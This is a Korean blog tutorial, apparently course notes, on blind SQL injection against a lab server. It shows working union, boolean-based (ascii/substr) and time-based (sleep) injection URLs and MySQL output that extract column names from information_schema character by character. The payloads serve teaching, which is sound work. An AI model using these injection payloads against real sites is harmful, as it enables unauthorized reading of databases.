어제는 php에 루프가 있었기 떄문에 취약점을 분석해서 공격을 했어도
데이터 베이스를 볼 수 있었지만 루프를 빼면 볼 수가 없습니다.
이럴 땐 노가다로 일일히 해야합니다
* limit 문 배열처럼 limit x,y x부터 y갯수만큼 칼럼을 보여줍니다.
[실습]
600번째 칼럼의 이름은?
앞에 select 문의 한개가 있기때문에 601번쨰로 구해야함을 유의해야합니다
http://192.168.12.241/view.php?no=1 union select 1 ,table_name,column_name from information_schema.columns limit 600,1
->SELECT * FROM news WHERE no=1 union select 1 ,table_name,column_name from information_schema.columns limit 600,1
조금 더 극한 상황으로 가보도록 하겠습니다
이번엔 출력되는게 아무 것도 없는 상황으로 가보도록 하겠습니다.
이런 식으로 아무것도 나오지 않는것을 볼수 있습니다
하지만 참과 거짓은 판독이 되는걸 알 수있습니다
*참일때
*거짓일때
1. 글자 한개씩 가져오기 substr
mysql> select substr('hello, injection',1,5);
+--------------------------------+
| substr('hello, injection',1,5) |
+--------------------------------+
| hello |
+--------------------------------+
1 row in set (0.08 sec)
1번쨰 row, 1번쨰 글자
substr((select column_name from columns limit 0,1),1,1)
2.글자 한개를 숫자로 바꿔주기 ascii
ascii(substr((select column_name from columns limit 0,1),1,1))
-> 67
mysql> select ascii(substr((select column_name from columns limit 0,1),1,1));
+----------------------------------------------------------------+
| ascii(substr((select column_name from columns limit 0,1),1,1)) |
+----------------------------------------------------------------+
| 67 |
+----------------------------------------------------------------+
1 row in set (0.12 sec)
이렇게 참이면 1이 뜨는걸 확인 할수 있습니다
웹에서 작동해보도록 하겠습니다.
http://192.168.12.241/view.php?no=1 and ascii(substr((select column_name from information_schema.columns limit 0,1),1,1))=67
[실습]
-웹에서 확인
- 560번째 컬럼의 이름은?
일일히 주소에 부등호랑 등호로 적어 노가다로 한 글자씩 구하면 이렇게 나옵니다
마지막은 계속 null이나오므로 그 뒤는 생략
아니면 길이를 재도 됩니다
mysql> select length((select column_name from information_schema.columns limit 559,1));
+--------------------------------------------------------------------------+
| length((select column_name from information_schema.columns limit 559,1)) |
+--------------------------------------------------------------------------+
| 8 |
+--------------------------------------------------------------------------+
1 row in set (0.05 sec)
[98,103,95,105,109,97,103,101]
이걸 파이썬 코드로 돌려보면
답은 bg_image
답이 맞았음을 알 수 있습니다.
아주 극단적인 상황으로 만들어 보겠습니다.
이 코드는 참 거짓도 판단을 할 수가 없습니다.
하지만 Injection이 가능한지 분석해보도록하겠습니다
http://192.168.12.241/view.php?no=1 and 1=1 and sleep(10)
왼쪽위를 보면 sleep이 걸려서 로딩중인것을 볼 수가 있습니다.
하지만 네트워크 때문인제 sleep때문인지 명확하게는 알 수 없습니다.
이렇게 Injection이 가능한 것을 볼 수 있습니다.
'Security > Web' 카테고리의 다른 글
SQL Injection 우회 기법 (0) | 2017.09.09 |
---|---|
[WEB SECURITY]19. Blind SQL Injection 1 (0) | 2017.09.05 |
[WEB SECURITY]18 .SQL INJECTION 2 (0) | 2017.09.04 |
[WEB SECURITY]17. RIF 취약점 2 / SQL injection 1 (0) | 2017.09.01 |
[WEB SECURITY]16. 원격 쉘 / RIF 취약점 (0) | 2017.08.31 |